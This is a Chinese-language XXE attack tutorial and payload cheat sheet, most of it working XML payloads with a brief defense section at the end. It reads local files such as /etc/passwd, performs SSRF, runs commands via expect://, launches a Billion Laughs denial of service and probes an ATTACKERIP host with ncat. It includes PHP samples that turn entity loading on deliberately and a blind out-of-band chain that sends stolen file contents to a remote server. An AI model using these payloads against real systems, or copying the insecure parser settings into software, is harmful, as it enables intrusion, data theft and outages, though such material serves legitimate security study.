目录
知识点小结
常用payload
本地文件读取
SSRF
引入外部实体 dtd
信息探测
XXE漏洞攻击
案例演示
案例一(有回显)
案例二(无回显读取本地敏感文件(Blind OOB XXE))
XXE 防御
使用语言中推荐的禁用外部实体的方法
知识点小结
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
常见的协议支持如下
其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
libxml 是 PHP 的 xml 支持
常用payload
本地文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE ANY[
<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>
<name>&xxe;</name>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&admin;</name><password>admin</password></root>
SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "url/example.txt">]>
<foo>&xxe;</foo>
引入外部实体 dtd
直接通过DTD外部实体声明
通过DTD外部实体声明引入外部实体声明
通过DTD文档引入外部DTD文档,再引入外部实体声明
?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">
以下利用主要基于libxml2
版本,其中libxml是PHP的xml支持。
而libxml版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。
文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini" >]>
<name>&xxe;</name>
SSRF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]>
<foo>&xxe;</foo>
用ncat在自己的服务器上开启监听:ncat -lvkp 8081(端口可自定义)
之后便可使用以下语句尝试是否能够建立连接:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [ <!ELEMENT data (#PCDATA)> ]>
<data>4</data>
如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。
在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]>
<root><name>&xxe;</name></root>
Billion Laughs 攻击
一个经典的Dos攻击payload:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">...... <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
信息探测
检测XML是否会被成功解析
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]>
<root>&words;</root>
是否支持DTD引用外部实体(可结合dnslog)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://n3posw.dnslog.cn">
%remote;]>
<root/>
XXE漏洞攻击
XXE 攻击类型 | 描述 |
---|---|
利用 XXE 检索文件 | 定义包含文件内容的外部实体,并在应用程序的响应中返回。 |
利用 XXE 执行 SSRF 攻击 | 外部实体基于 URL 到后端系统的定义。 |
利用盲XXE外泄数据带外 | 将敏感数据从应用程序服务器传输到攻击者控制的系统。 |
利用盲 XXE 通过错误消息检索数据 | 攻击者可以触发包含敏感数据的解析错误消息的位置。 |
案例演示
案例一(有回显)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload1:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
payload2:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
案例二(无回显读取本地敏感文件(Blind OOB XXE))
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
整个调用过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有%, 所以将其转成html实体编码
%
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
XXE 防御
使用语言中推荐的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))